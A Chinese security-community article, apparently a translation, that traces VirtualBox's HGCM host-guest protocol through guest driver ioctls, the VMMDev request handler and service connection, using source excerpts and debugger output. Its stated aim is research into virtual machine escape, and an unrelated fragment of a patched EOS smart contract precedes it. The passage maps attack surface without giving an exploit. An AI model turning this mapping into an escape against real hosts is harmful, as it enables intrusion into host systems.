if (user_iterator == _users.end()) {
user_iterator = _users.emplace(username, [&](auto& new_user) {
new_user.username = username;
});
}
check(user_iterator->win >= 10, "You need to win at least 10 times.");
print("You win!!! Email: ", address);
auto mail_iterator = _mails.find(username.value);
if (mail_iterator == _mails.end()) {
mail_iterator = _mails.emplace(username, [&](auto& new_mail) {
new_mail.username = username;
new_mail.address = address;
});
}
else{
_mails.modify(mail_iterator, username, [&](auto& new_mail) {
new_mail.address = address;
});
}
}
};
这时候再采用原来的攻击合约会发现已经无法成功攻击 Yep ！ | 社区文章 |
# VirtualBox HGCM协议研究
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
最近开始研究VirtualBox虚拟机逃逸漏洞，针对于VirtualBox的虚拟机逃逸，我们重点关注它的`HGCM（host-guest
communication mechanism）协议`，本文将结合源码分析和动态调试来分析此协议，最后我们还将实现一个HGCM协议的调用库。
## 0x01 VirtualBox 通信协议
### 引言
VirtualBox中一个名为`HGCM`的协议相当于一个`RPC`，其作用是可以让Guest里的程序通过接口调用`Host`中的服务程序中的函数。该协议的接口封装在`vboxguest`驱动程序中。
在Guest系统中，通过`VBoxGuestAdditions.iso`安装了一个名为`vboxguest`的驱动程序，该驱动程序主要就是提供接口给`Guset`系统里的程序，用于与`Host`主机进行通信。
除了`vboxguest`驱动，Guset还安装有`vboxsf`驱动和`vboxvideo`，其中`vboxsf`仍然使用的是`vboxguest`的接口，而`vboxvideo`则是`VirtualBox`虚拟出来的显示设备的驱动程序，独立于前面两个驱动。由此可见，Guest与Host之前的通信关键在于`vboxguest`驱动，因此，我们的研究将从该驱动出发。
该驱动源码位于`src\VBox\Additions\common\VBoxGuest`目录，以Linux系统为例，其源文件为`VBoxGuest-linux.c`，首先从`file_operations`结构体可以看到有哪些操作
static struct file_operations g_FileOpsUser =
{
owner: THIS_MODULE,
open: vgdrvLinuxOpen,
release: vgdrvLinuxRelease,
#ifdef HAVE_UNLOCKED_IOCTL
unlocked_ioctl: vgdrvLinuxIOCtl,
#else
ioctl: vgdrvLinuxIOCtl,
#endif
};
### GUEST IOCTL
可以看到定义了`vgdrvLinuxIOCtl`用于进行接口的访问，跟踪该函数，可以发现其调用了`vgdrvLinuxIOCtlSlow`函数，
static int vgdrvLinuxIOCtlSlow(struct file *pFilp, unsigned int uCmd, unsigned long ulArg, PVBOXGUESTSESSION pSession)
{
int rc;
VBGLREQHDR Hdr;
PVBGLREQHDR pHdr;
uint32_t cbBuf;
Log6(("vgdrvLinuxIOCtlSlow: pFilp=%p uCmd=%#x ulArg=%p pid=%d/%d\n", pFilp, uCmd, (void *)ulArg, RTProcSelf(), current->pid));
/*
* Read the header.
*/
if (RT_FAILURE(RTR0MemUserCopyFrom(&Hdr, ulArg, sizeof(Hdr))))
{
Log(("vgdrvLinuxIOCtlSlow: copy_from_user(,%#lx,) failed; uCmd=%#x\n", ulArg, uCmd));
return -EFAULT;
}
if (RT_UNLIKELY(Hdr.uVersion != VBGLREQHDR_VERSION))
{
Log(("vgdrvLinuxIOCtlSlow: bad header version %#x; uCmd=%#x\n", Hdr.uVersion, uCmd));
return -EINVAL;
}
/*
* Buffer the request.
* Note! The header is revalidated by the common code.
*/
cbBuf = RT_MAX(Hdr.cbIn, Hdr.cbOut);
if (RT_UNLIKELY(cbBuf > _1M*16))
{
Log(("vgdrvLinuxIOCtlSlow: too big cbBuf=%#x; uCmd=%#x\n", cbBuf, uCmd));
return -E2BIG;
}
if (RT_UNLIKELY( Hdr.cbIn < sizeof(Hdr)
|| (cbBuf != _IOC_SIZE(uCmd) && _IOC_SIZE(uCmd) != 0)))
{
Log(("vgdrvLinuxIOCtlSlow: bad ioctl cbBuf=%#x _IOC_SIZE=%#x; uCmd=%#x\n", cbBuf, _IOC_SIZE(uCmd), uCmd));
return -EINVAL;
}
pHdr = RTMemAlloc(cbBuf);
if (RT_UNLIKELY(!pHdr))
{
LogRel(("vgdrvLinuxIOCtlSlow: failed to allocate buffer of %d bytes for uCmd=%#x\n", cbBuf, uCmd));
return -ENOMEM;
}
if (RT_FAILURE(RTR0MemUserCopyFrom(pHdr, ulArg, Hdr.cbIn)))
{
Log(("vgdrvLinuxIOCtlSlow: copy_from_user(,%#lx, %#x) failed; uCmd=%#x\n", ulArg, Hdr.cbIn, uCmd));
RTMemFree(pHdr);
return -EFAULT;
}
if (Hdr.cbIn < cbBuf)
RT_BZERO((uint8_t *)pHdr + Hdr.cbIn, cbBuf - Hdr.cbIn);
/*
* Process the IOCtl.
*/
rc = VGDrvCommonIoCtl(uCmd, &g_DevExt, pSession, pHdr, cbBuf);
.........................................................
可以看到，函数中首先将用户传入的数据转为`VBGLREQHDR Hdr;`结构体，该结构体定义如下
typedef struct VBGLREQHDR
{
/** IN: The request input size, and output size if cbOut is zero.
* @sa VMMDevRequestHeader::size */
uint32_t cbIn;
/** IN: Structure version (VBGLREQHDR_VERSION)
* @sa VMMDevRequestHeader::version */
uint32_t uVersion;
/** IN: The VMMDev request type, set to VBGLREQHDR_TYPE_DEFAULT unless this is a
* kind of VMMDev request.
* @sa VMMDevRequestType, VMMDevRequestHeader::requestType */
uint32_t uType;
/** OUT: The VBox status code of the operation, out direction only. */
int32_t rc;
/** IN: The output size. This is optional - set to zero to use cbIn as the
* output size. */
uint32_t cbOut;
/** Reserved / filled in by kernel, MBZ.
* @sa VMMDevRequestHeader::fRequestor */
uint32_t uReserved;
} VBGLREQHDR;
然后判断一些信息是否符合要求，这里，归纳如下
Hdr.uVersion = VBGLREQHDR_VERSION
Hdr.cbIn和Hdr.cbOut不能大于_1M*16
检查通过后，执行`rc = VGDrvCommonIoCtl(uCmd, &g_DevExt, pSession, pHdr,
cbBuf);`，进入`VGDrvCommonIoCtl`函数，该函数位于`VBoxGuest.cpp`源文件
int VGDrvCommonIoCtl(uintptr_t iFunction, PVBOXGUESTDEVEXT pDevExt, PVBOXGUESTSESSION pSession, PVBGLREQHDR pReqHdr, size_t cbReq)
{
uintptr_t const iFunctionStripped = VBGL_IOCTL_CODE_STRIPPED(iFunction);
int rc;
...............................................................
/*
* Deal with variably sized requests first.
*/
rc = VINF_SUCCESS;
if ( iFunctionStripped == VBGL_IOCTL_CODE_STRIPPED(VBGL_IOCTL_VMMDEV_REQUEST(0))
|| iFunctionStripped == VBGL_IOCTL_CODE_STRIPPED(VBGL_IOCTL_VMMDEV_REQUEST_BIG) )
{
........
}
else if (RT_LIKELY(pReqHdr->uType == VBGLREQHDR_TYPE_DEFAULT))
{
if (iFunctionStripped == VBGL_IOCTL_CODE_STRIPPED(VBGL_IOCTL_LOG(0)))
{
........
}
#ifdef VBOX_WITH_HGCM
else if (iFunction == VBGL_IOCTL_IDC_HGCM_FAST_CALL) /* (is variable size, but we don't bother encoding it) */
{
.........
}
else if ( iFunctionStripped == VBGL_IOCTL_CODE_STRIPPED(VBGL_IOCTL_HGCM_CALL(0))
# if ARCH_BITS == 64
|| iFunctionStripped == VBGL_IOCTL_CODE_STRIPPED(VBGL_IOCTL_HGCM_CALL_32(0))
# endif
)
{
...........
}
else if (iFunctionStripped == VBGL_IOCTL_CODE_STRIPPED(VBGL_IOCTL_HGCM_CALL_WITH_USER_DATA(0)))
{
..........
}
#endif /* VBOX_WITH_HGCM */
else
{
switch (iFunction)
{
由于我们想要进入HGCM相关的处理分支里，因此，想要满足`pReqHdr->uType == VBGLREQHDR_TYPE_DEFAULT`
switch (iFunction)
{
............................................
#ifdef VBOX_WITH_HGCM
case VBGL_IOCTL_HGCM_CONNECT:
REQ_CHECK_SIZES(VBGL_IOCTL_HGCM_CONNECT);
pReqHdr->rc = vgdrvIoCtl_HGCMConnect(pDevExt, pSession, (PVBGLIOCHGCMCONNECT)pReqHdr);
break;
case VBGL_IOCTL_HGCM_DISCONNECT:
REQ_CHECK_SIZES(VBGL_IOCTL_HGCM_DISCONNECT);
pReqHdr->rc = vgdrvIoCtl_HGCMDisconnect(pDevExt, pSession, (PVBGLIOCHGCMDISCONNECT)pReqHdr);
break;
#endif
这里的`iFunction`值就是我们在ioctl中传入的cmd，当cmd为`VBGL_IOCTL_HGCM_CONNECT`或者`VBGL_IOCTL_HGCM_DISCONNECT`时，可以建立或者断开一个`HGCM`服务。在一般情况下，使用HGCM调用Host中的服务时，要经过三个步骤`VBGL_IOCTL_HGCM_CONNECT`->`VBGL_IOCTL_HGCM_CALL`->`VBGL_IOCTL_HGCM_DISCONNECT`，即打开服务->调用函数->关闭服务。可以在`src\VBox\HostServices`目录下看到这些服务以及它们的源码
src\VBox\HostServices
DragAndDrop
GuestControl
GuestProperties
HostChannel
SharedClipboard
SharedFolders
SharedOpenGL
从这些服务名大致能知道它们的作用，其中`SharedClipboard`用于在Host和Guest之间共享`粘贴板`，`SharedFolders`用于共享`文件夹`，而`SharedOpenGL`用于`3D图形加速`。
继续分析HGCM服务的调用
pReqHdr->rc = vgdrvIoCtl_HGCMConnect(pDevExt, pSession, (PVBGLIOCHGCMCONNECT)pReqHdr);
可以知道此时将`pReqHdr`这个`VBGLREQHDR`结构体指针强制转换为`VBGLIOCHGCMCONNECT`结构体指针，该结构体定义如下
typedef struct VBGLIOCHGCMCONNECT
{
/** The header. */
VBGLREQHDR Hdr;
union
{
struct
{
HGCMServiceLocation Loc;
} In;
struct
{
uint32_t idClient;
} Out;
} u;
} VBGLIOCHGCMCONNECT, RT_FAR *PVBGLIOCHGCMCONNECT;
/**
* HGCM service location.
* @ingroup grp_vmmdev_req
*/
typedef struct HGCMSERVICELOCATION
{
/** Type of the location. */
HGCMServiceLocationType type;
union
{
HGCMServiceLocationHost host;
} u;
} HGCMServiceLocation;
typedef enum
{
VMMDevHGCMLoc_Invalid = 0,
VMMDevHGCMLoc_LocalHost = 1,
VMMDevHGCMLoc_LocalHost_Existing = 2,
VMMDevHGCMLoc_SizeHack = 0x7fffffff
} HGCMServiceLocationType;
/**
* HGCM host service location.
* @ingroup grp_vmmdev_req
*/
typedef struct
{
char achName[128]; /**< This is really szName. */
} HGCMServiceLocationHost;
### VBGL_IOCTL_HGCM_CONNECT
#### VbglR0HGCMInternalConnect
进入`vgdrvIoCtl_HGCMConnect`函数,
static int vgdrvIoCtl_HGCMConnect(PVBOXGUESTDEVEXT pDevExt, PVBOXGUESTSESSION pSession, PVBGLIOCHGCMCONNECT pInfo)
{
int rc;
HGCMCLIENTID idClient = 0;
/*
* The VbglHGCMConnect call will invoke the callback if the HGCM
* call is performed in an ASYNC fashion. The function is not able
* to deal with cancelled requests.
*/
Log(("VBOXGUEST_IOCTL_HGCM_CONNECT: %.128s\n",
pInfo->u.In.Loc.type == VMMDevHGCMLoc_LocalHost || pInfo->u.In.Loc.type == VMMDevHGCMLoc_LocalHost_Existing
? pInfo->u.In.Loc.u.host.achName : "<not local host>"));
rc = VbglR0HGCMInternalConnect(&pInfo->u.In.Loc, pSession->fRequestor, &idClient,
vgdrvHgcmAsyncWaitCallback, pDevExt, RT_INDEFINITE_WAIT);
Log(("VBOXGUEST_IOCTL_HGCM_CONNECT: idClient=%RX32 (rc=%Rrc)\n", idClient, rc));
if (RT_SUCCESS(rc))
{
/*
* Append the client id to the client id table.
* If the table has somehow become filled up, we'll disconnect the session.
*/
unsigned i;
RTSpinlockAcquire(pDevExt->SessionSpinlock);
for (i = 0; i < RT_ELEMENTS(pSession->aHGCMClientIds); i++)
if (!pSession->aHGCMClientIds[i])
{
pSession->aHGCMClientIds[i] = idClient;
break;
}
RTSpinlockRelease(pDevExt->SessionSpinlock);
if (i >= RT_ELEMENTS(pSession->aHGCMClientIds))
{
LogRelMax(32, ("VBOXGUEST_IOCTL_HGCM_CONNECT: too many HGCMConnect calls for one session!\n"));
VbglR0HGCMInternalDisconnect(idClient, pSession->fRequestor, vgdrvHgcmAsyncWaitCallback, pDevExt, RT_INDEFINITE_WAIT);
pInfo->u.Out.idClient = 0;
return VERR_TOO_MANY_OPEN_FILES;
}
}
pInfo->u.Out.idClient = idClient;
return rc;
}
从该函数可以看出，它将调用`VbglR0HGCMInternalConnect`函数，然后返回一个`idClient`即客户端号，并将该号码缓存到`pSession->aHGCMClientIds`数组中，同时将其返回给Guest中的请求程序。我们继续跟进`VbglR0HGCMInternalConnect`函数
DECLR0VBGL(int) VbglR0HGCMInternalConnect(HGCMServiceLocation const *pLoc, uint32_t fRequestor, HGCMCLIENTID *pidClient,
PFNVBGLHGCMCALLBACK pfnAsyncCallback, void *pvAsyncData, uint32_t u32AsyncData)
{
int rc;
if ( RT_VALID_PTR(pLoc)
&& RT_VALID_PTR(pidClient)
&& RT_VALID_PTR(pfnAsyncCallback))
{
/* Allocate request */
VMMDevHGCMConnect *pHGCMConnect = NULL;
rc = VbglR0GRAlloc((VMMDevRequestHeader **)&pHGCMConnect, sizeof(VMMDevHGCMConnect), VMMDevReq_HGCMConnect);
if (RT_SUCCESS(rc))
{
/* Initialize request memory */
pHGCMConnect->header.header.fRequestor = fRequestor;
pHGCMConnect->header.fu32Flags = 0;
memcpy(&pHGCMConnect->loc, pLoc, sizeof(pHGCMConnect->loc));
pHGCMConnect->u32ClientID = 0;
/* Issue request */
rc = VbglR0GRPerform (&pHGCMConnect->header.header);
if (RT_SUCCESS(rc))
{
/* Check if host decides to process the request asynchronously. */
if (rc == VINF_HGCM_ASYNC_EXECUTE)
{
/* Wait for request completion interrupt notification from host */
pfnAsyncCallback(&pHGCMConnect->header, pvAsyncData, u32AsyncData);
}
rc = pHGCMConnect->header.result;
if (RT_SUCCESS(rc))
*pidClient = pHGCMConnect->u32ClientID;
}
VbglR0GRFree(&pHGCMConnect->header.header);
}
}
else
rc = VERR_INVALID_PARAMETER;
return rc;
}
该函数主要是新建了一个结构体，并从最开始`ioctl`操作中传入的结构体中复制`HGCMServiceLocation`结构体数据，然后传入`VbglR0GRPerform`函数。
VbglR0GRPerform函数实际上就是一个对`in`和`out`汇编指令的封装，操作IO接口，可以知道，其请求的端口地址为`g_vbgldata.portVMMDev
+ VMMDEV_PORT_OFF_REQUEST`
#### VbglR0GRPerform
DECLR0VBGL(int) VbglR0GRPerform(VMMDevRequestHeader *pReq)
{
int rc = vbglR0Enter();
if (RT_SUCCESS(rc))
{
if (pReq)
{
RTCCPHYS PhysAddr = VbglR0PhysHeapGetPhysAddr(pReq);
if ( PhysAddr != 0
&& PhysAddr < _4G) /* Port IO is 32 bit. */
{
ASMOutU32(g_vbgldata.portVMMDev + VMMDEV_PORT_OFF_REQUEST, (uint32_t)PhysAddr);
/* Make the compiler aware that the host has changed memory. */
ASMCompilerBarrier();
rc = pReq->rc;
}
else
rc = VERR_VBGL_INVALID_ADDR;
}
else
rc = VERR_INVALID_PARAMETER;
}
return rc;
}
通过查找`VMMDEV_PORT_OFF_REQUEST`的引用，可以发现`src\VBox\Devices\VMMDev\VMMDev.cpp`文件，可以知道这是VirtualBox虚拟出来的IO设备,在`vmmdevIOPortRegionMap`函数中，通过`PDMDevHlpIOPortRegister`函数为`VMMDEV_PORT_OFF_REQUEST`IO端口注册了一个处理函数。
static DECLCALLBACK(int) vmmdevIOPortRegionMap(PPDMDEVINS pDevIns, PPDMPCIDEV pPciDev, uint32_t iRegion,
RTGCPHYS GCPhysAddress, RTGCPHYS cb, PCIADDRESSSPACE enmType)
{
LogFlow(("vmmdevIOPortRegionMap: iRegion=%d GCPhysAddress=%RGp cb=%RGp enmType=%d\n", iRegion, GCPhysAddress, cb, enmType));
RT_NOREF3(iRegion, cb, enmType);
PVMMDEV pThis = RT_FROM_MEMBER(pPciDev, VMMDEV, PciDev);
Assert(enmType == PCI_ADDRESS_SPACE_IO);
Assert(iRegion == 0);
AssertMsg(RT_ALIGN(GCPhysAddress, 8) == GCPhysAddress, ("Expected 8 byte alignment. GCPhysAddress=%#x\n", GCPhysAddress));
/*
* Register our port IO handlers.
*/
int rc = PDMDevHlpIOPortRegister(pDevIns, (RTIOPORT)GCPhysAddress + VMMDEV_PORT_OFF_REQUEST, 1,
pThis, vmmdevRequestHandler, NULL, NULL, NULL, "VMMDev Request Handler");
因此我们在Guset中的`ASMOutU32(g_vbgldata.portVMMDev + VMMDEV_PORT_OFF_REQUEST,
(uint32_t)PhysAddr);`请求最终被传入到虚拟设备中的`vmmdevRequestHandler`函数中进行处理。
#### vmmdevRequestHandler
/**
* @callback_method_impl{FNIOMIOPORTOUT,
* Port I/O write andler for the generic request interface.}
*/
static DECLCALLBACK(int) vmmdevRequestHandler(PPDMDEVINS pDevIns, void *pvUser, RTIOPORT Port, uint32_t u32, unsigned cb)
{
uint64_t tsArrival;
STAM_GET_TS(tsArrival);
RT_NOREF2(Port, cb);
PVMMDEV pThis = (VMMDevState *)pvUser;
/*
* The caller has passed the guest context physical address of the request
* structure. We'll copy all of it into a heap buffer eventually, but we
* will have to start off with the header.
*/
VMMDevRequestHeader requestHeader;
RT_ZERO(requestHeader);
PDMDevHlpPhysRead(pDevIns, (RTGCPHYS)u32, &requestHeader, sizeof(requestHeader));
.........................................................
if (pRequestHeader)
{
memcpy(pRequestHeader, &requestHeader, sizeof(VMMDevRequestHeader));
/* Try lock the request if it's a HGCM call and not crossing a page boundrary.
Saves on PGM interaction. */
VMMDEVREQLOCK Lock = { NULL, { 0, NULL } };
PVMMDEVREQLOCK pLock = NULL;
size_t cbLeft = requestHeader.size - sizeof(VMMDevRequestHeader);
if (cbLeft)
{
...............................
}
/*
* Feed buffered request thru the dispatcher.
*/
uint32_t fPostOptimize = 0;
PDMCritSectEnter(&pThis->CritSect, VERR_IGNORED);
rcRet = vmmdevReqDispatcher(pThis, pRequestHeader, u32, tsArrival, &fPostOptimize, &pLock);
PDMCritSectLeave(&pThis->CritSect);
请求将被传入`vmmdevReqDispatcher`函数进行调度
/**
* Dispatch the request to the appropriate handler function.
*
* @returns Port I/O handler exit code.
* @param pThis The VMM device instance data.
* @param pReqHdr The request header (cached in host memory).
* @param GCPhysReqHdr The guest physical address of the request (for
* HGCM).
* @param tsArrival The STAM_GET_TS() value when the request arrived.
* @param pfPostOptimize HGCM optimizations, VMMDEVREQDISP_POST_F_XXX.
* @param ppLock Pointer to the lock info pointer (latter can be
* NULL). Set to NULL if HGCM takes lock ownership.
*/
static int vmmdevReqDispatcher(PVMMDEV pThis, VMMDevRequestHeader *pReqHdr, RTGCPHYS GCPhysReqHdr,
uint64_t tsArrival, uint32_t *pfPostOptimize, PVMMDEVREQLOCK *ppLock)
{
int rcRet = VINF_SUCCESS;
Assert(*pfPostOptimize == 0);
switch (pReqHdr->requestType)
{
...........................................
#ifdef VBOX_WITH_HGCM
case VMMDevReq_HGCMConnect:
vmmdevReqHdrSetHgcmAsyncExecute(pThis, GCPhysReqHdr, *ppLock);
pReqHdr->rc = vmmdevReqHandler_HGCMConnect(pThis, pReqHdr, GCPhysReqHdr);
Assert(pReqHdr->rc == VINF_HGCM_ASYNC_EXECUTE || RT_FAILURE_NP(pReqHdr->rc));
if (RT_SUCCESS(pReqHdr->rc))
*pfPostOptimize |= VMMDEVREQDISP_POST_F_NO_WRITE_OUT;
break;
case VMMDevReq_HGCMDisconnect:
vmmdevReqHdrSetHgcmAsyncExecute(pThis, GCPhysReqHdr, *ppLock);
pReqHdr->rc = vmmdevReqHandler_HGCMDisconnect(pThis, pReqHdr, GCPhysReqHdr);
Assert(pReqHdr->rc == VINF_HGCM_ASYNC_EXECUTE || RT_FAILURE_NP(pReqHdr->rc));
if (RT_SUCCESS(pReqHdr->rc))
*pfPostOptimize |= VMMDEVREQDISP_POST_F_NO_WRITE_OUT;
break;
# ifdef VBOX_WITH_64_BITS_GUESTS
case VMMDevReq_HGCMCall64:
# endif
case VMMDevReq_HGCMCall32:
vmmdevReqHdrSetHgcmAsyncExecute(pThis, GCPhysReqHdr, *ppLock);
pReqHdr->rc = vmmdevReqHandler_HGCMCall(pThis, pReqHdr, GCPhysReqHdr, tsArrival, ppLock);
Assert(pReqHdr->rc == VINF_HGCM_ASYNC_EXECUTE || RT_FAILURE_NP(pReqHdr->rc));
if (RT_SUCCESS(pReqHdr->rc))
*pfPostOptimize |= VMMDEVREQDISP_POST_F_NO_WRITE_OUT;
break;
case VMMDevReq_HGCMCancel:
pReqHdr->rc = vmmdevReqHandler_HGCMCancel(pThis, pReqHdr, GCPhysReqHdr);
break;
case VMMDevReq_HGCMCancel2:
pReqHdr->rc = vmmdevReqHandler_HGCMCancel2(pThis, pReqHdr);
break;
#endif /* VBOX_WITH_HGCM */
...........................................
在`VMMDevReq_HGCMConnect`时，使用`vmmdevReqHdrSetHgcmAsyncExecute`函数设置异步返回值，这样Guset系统驱动的`VbglR0HGCMInternalConnect`函数时将通过`pfnAsyncCallback(&pHGCMConnect->header,
pvAsyncData,
u32AsyncData);`等待设备这里的操作完成并获取结果；设备这里将调用`vmmdevReqHandler_HGCMConnect`连接HGCM服务，继续跟踪，
#### vmmdevReqHandler_HGCMConnect
/** Handle VMMDevHGCMConnect request.
*
* @param pThis The VMMDev instance data.
* @param pHGCMConnect The guest request (cached in host memory).
* @param GCPhys The physical address of the request.
*/
int vmmdevHGCMConnect(PVMMDEV pThis, const VMMDevHGCMConnect *pHGCMConnect, RTGCPHYS GCPhys)
{
int rc = VINF_SUCCESS;
PVBOXHGCMCMD pCmd = vmmdevHGCMCmdAlloc(pThis, VBOXHGCMCMDTYPE_CONNECT, GCPhys, pHGCMConnect->header.header.size, 0,
pHGCMConnect->header.header.fRequestor);
if (pCmd)
{
vmmdevHGCMConnectFetch(pHGCMConnect, pCmd);
/* Only allow the guest to use existing services! */
ASSERT_GUEST(pHGCMConnect->loc.type == VMMDevHGCMLoc_LocalHost_Existing);
pCmd->u.connect.pLoc->type = VMMDevHGCMLoc_LocalHost_Existing;
vmmdevHGCMAddCommand(pThis, pCmd);
rc = pThis->pHGCMDrv->pfnConnect(pThis->pHGCMDrv, pCmd, pCmd->u.connect.pLoc, &pCmd->u.connect.u32ClientID);
if (RT_FAILURE(rc))
vmmdevHGCMRemoveCommand(pThis, pCmd);
}
else
{
rc = VERR_NO_MEMORY;
}
return rc;
}
函数中主要是调用了`rc = pThis->pHGCMDrv->pfnConnect(pThis->pHGCMDrv, pCmd,
pCmd->u.connect.pLoc,
&pCmd->u.connect.u32ClientID);`进行服务连接，其中pThis在`vmmdevIOPortRegionMap`函数中初始化
PVMMDEV pThis = RT_FROM_MEMBER(pPciDev, VMMDEV, PciDev);
pThis->pHGCMDrv在`vmmdevConstruct`函数中被初始化
pThis->pHGCMDrv = PDMIBASE_QUERY_INTERFACE(pThis->pDrvBase, PDMIHGCMCONNECTOR);
通过调试，可以知道`pThis->pHGCMDrv->pfnConnect`最终指向的是`iface_hgcmConnect`函数
In file: /home/sea/Desktop/VirtualBox-6.0.0/src/VBox/Devices/VMMDev/VMMDevHGCM.cpp
450 /* Only allow the guest to use existing services! */
451 ASSERT_GUEST(pHGCMConnect->loc.type == VMMDevHGCMLoc_LocalHost_Existing);
452 pCmd->u.connect.pLoc->type = VMMDevHGCMLoc_LocalHost_Existing;
453
454 vmmdevHGCMAddCommand(pThis, pCmd);
► 455 rc = pThis->pHGCMDrv->pfnConnect(pThis->pHGCMDrv, pCmd, pCmd->u.connect.pLoc, &pCmd->u.connect.u32ClientID);
456 if (RT_FAILURE(rc))
457 vmmdevHGCMRemoveCommand(pThis, pCmd);
458 }
459 else
460 {
pwndbg> s
599 /* HGCM connector interface */
600
601 static DECLCALLBACK(int) iface_hgcmConnect(PPDMIHGCMCONNECTOR pInterface, PVBOXHGCMCMD pCmd,
602 PHGCMSERVICELOCATION pServiceLocation,
603 uint32_t *pu32ClientID)
► 604 {
其中iface_hgcmConnect函数源码如下
#### iface_hgcmConnect
static DECLCALLBACK(int) iface_hgcmConnect(PPDMIHGCMCONNECTOR pInterface, PVBOXHGCMCMD pCmd,
PHGCMSERVICELOCATION pServiceLocation,
uint32_t *pu32ClientID)
{
Log9(("Enter\n"));
PDRVMAINVMMDEV pDrv = RT_FROM_MEMBER(pInterface, DRVMAINVMMDEV, HGCMConnector);
if ( !pServiceLocation
|| ( pServiceLocation->type != VMMDevHGCMLoc_LocalHost
&& pServiceLocation->type != VMMDevHGCMLoc_LocalHost_Existing))
{
return VERR_INVALID_PARAMETER;
}
/* Check if service name is a string terminated by zero*/
size_t cchInfo = 0;
if (RTStrNLenEx(pServiceLocation->u.host.achName, sizeof(pServiceLocation->u.host.achName), &cchInfo) != VINF_SUCCESS)
{
return VERR_INVALID_PARAMETER;
}
if (!pDrv->pVMMDev || !pDrv->pVMMDev->hgcmIsActive())
return VERR_INVALID_STATE;
return HGCMGuestConnect(pDrv->pHGCMPort, pCmd, pServiceLocation->u.host.achName, pu32ClientID);
}
这里，对于`pServiceLocation->type`字段，其值必须为`VMMDevHGCMLoc_LocalHost`或者`VMMDevHGCMLoc_LocalHost_Existing`。检查通过以后，就会继续调用`HGCMGuestConnect`函数
而`HGCMGuestConnect`函数是将数据封装为消息，然后调用`hgcmMsgPost`，`hgcmMsgPost`最后会调用`hgcmMsgPostInternal`函数向`HGCMThread`实例发送消息
#### hgcmMsgPostInternal
DECLINLINE(int) hgcmMsgPostInternal(HGCMMsgCore *pMsg, PHGCMMSGCALLBACK pfnCallback, bool fWait)
{
LogFlow(("MAIN::hgcmMsgPostInternal: pMsg = %p, pfnCallback = %p, fWait = %d\n", pMsg, pfnCallback, fWait));
Assert(pMsg);
pMsg->Reference(); /* paranoia? */
int rc = pMsg->Thread()->MsgPost(pMsg, pfnCallback, fWait);
pMsg->Dereference();
LogFlow(("MAIN::hgcmMsgPostInternal: pMsg = %p, rc = %Rrc\n", pMsg, rc));
return rc;
}
通过gdb调试
In file: /home/sea/Desktop/VirtualBox-6.0.0/src/VBox/Main/src-client/HGCMThread.cpp
697 LogFlow(("MAIN::hgcmMsgPostInternal: pMsg = %p, pfnCallback = %p, fWait = %d\n", pMsg, pfnCallback, fWait));
698 Assert(pMsg);
699
700 pMsg->Reference(); /* paranoia? */
701
► 702 int rc = pMsg->Thread()->MsgPost(pMsg, pfnCallback, fWait);
703
704 pMsg->Dereference();
705
706 LogFlow(("MAIN::hgcmMsgPostInternal: pMsg = %p, rc = %Rrc\n", pMsg, rc));
707 return rc;
pwndbg> p pMsg->Thread()->MsgPost
$11 = {int (HGCMThread * const, HGCMMsgCore *, PHGCMMSGCALLBACK, bool)} 0x7fe5d8646a5c <HGCMThread::MsgPost(HGCMMsgCore*, int (*)(int, HGCMMsgCore*), bool)>
HGCMThread::MsgPost函数只是简单的将消息插入到消息队列，当HGCMThread的线程取出消息时，便会进行处理。HGCMThread的主线程函数为`hgcmThread`
#### hgcmThread
/* The main HGCM thread handler. */
static DECLCALLBACK(void) hgcmThread(HGCMThread *pThread, void *pvUser)
{
LogFlowFunc(("pThread = %p, pvUser = %p\n", pThread, pvUser));
NOREF(pvUser);
bool fQuit = false;
while (!fQuit)
{
HGCMMsgCore *pMsgCore;
int rc = hgcmMsgGet(pThread, &pMsgCore);
if (RT_FAILURE(rc))
{
/* The error means some serious unrecoverable problem in the hgcmMsg/hgcmThread layer. */
AssertMsgFailed(("%Rrc\n", rc));
break;
}
uint32_t u32MsgId = pMsgCore->MsgId();
switch (u32MsgId)
{
case HGCM_MSG_CONNECT:
{
HGCMMsgMainConnect *pMsg = (HGCMMsgMainConnect *)pMsgCore;
LogFlowFunc(("HGCM_MSG_CONNECT pszServiceName %s, pu32ClientId %p\n",
pMsg->pszServiceName, pMsg->pu32ClientId));
/* Resolve the service name to the pointer to service instance.
*/
HGCMService *pService;
rc = HGCMService::ResolveService(&pService, pMsg->pszServiceName);
if (RT_SUCCESS(rc))
{
/* Call the service instance method. */
rc = pService->CreateAndConnectClient(pMsg->pu32ClientId,
0,
pMsg->pHGCMPort->pfnGetRequestor(pMsg->pHGCMPort, pMsg->pCmd),
pMsg->pHGCMPort->pfnIsCmdRestored(pMsg->pHGCMPort, pMsg->pCmd));
/* Release the service after resolve. */
pService->ReleaseService();
}
} break;
case HGCM_MSG_DISCONNECT:
{
当收到`HGCM_MSG_CONNECT`消息时，调用`HGCMService::ResolveService(&pService,
pMsg->pszServiceName)`得到对应服务的句柄，该函数实际上就是一个链表查找的过程
/** The method obtains a referenced pointer to the service with
* specified name. The caller must call ReleaseService when
* the pointer is no longer needed.
*
* @param ppSvc Where to store the pointer to the service.
* @param pszServiceName The name of the service.
* @return VBox rc.
* @thread main HGCM
*/
/* static */ int HGCMService::ResolveService(HGCMService **ppSvc, const char *pszServiceName)
{
LogFlowFunc(("ppSvc = %p name = %s\n",
ppSvc, pszServiceName));
if (!ppSvc || !pszServiceName)
{
return VERR_INVALID_PARAMETER;
}
HGCMService *pSvc = sm_pSvcListHead;
while (pSvc)
{
if (strcmp(pSvc->m_pszSvcName, pszServiceName) == 0)
{
break;
}
pSvc = pSvc->m_pSvcNext;
}
LogFlowFunc(("lookup in the list is %p\n", pSvc));
if (pSvc == NULL)
{
*ppSvc = NULL;
return VERR_HGCM_SERVICE_NOT_FOUND;
}
pSvc->ReferenceService();
*ppSvc = pSvc;
return VINF_SUCCESS;
}
而该服务链表是在`HGCM_MSG_LOAD`时通过`LoadService`初始化的
case HGCM_MSG_LOAD:
{
HGCMMsgMainLoad *pMsg = (HGCMMsgMainLoad *)pMsgCore;
LogFlowFunc(("HGCM_MSG_LOAD pszServiceName = %s, pMsg->pszServiceLibrary = %s, pMsg->pUVM = %p\n",
pMsg->pszServiceName, pMsg->pszServiceLibrary, pMsg->pUVM));
rc = HGCMService::LoadService(pMsg->pszServiceLibrary, pMsg->pszServiceName, pMsg->pUVM, pMsg->pHgcmPort);
} break;
其中`LoadService`函数就是加载对应的名称的`动态库`，然后将句柄存储到链表中。
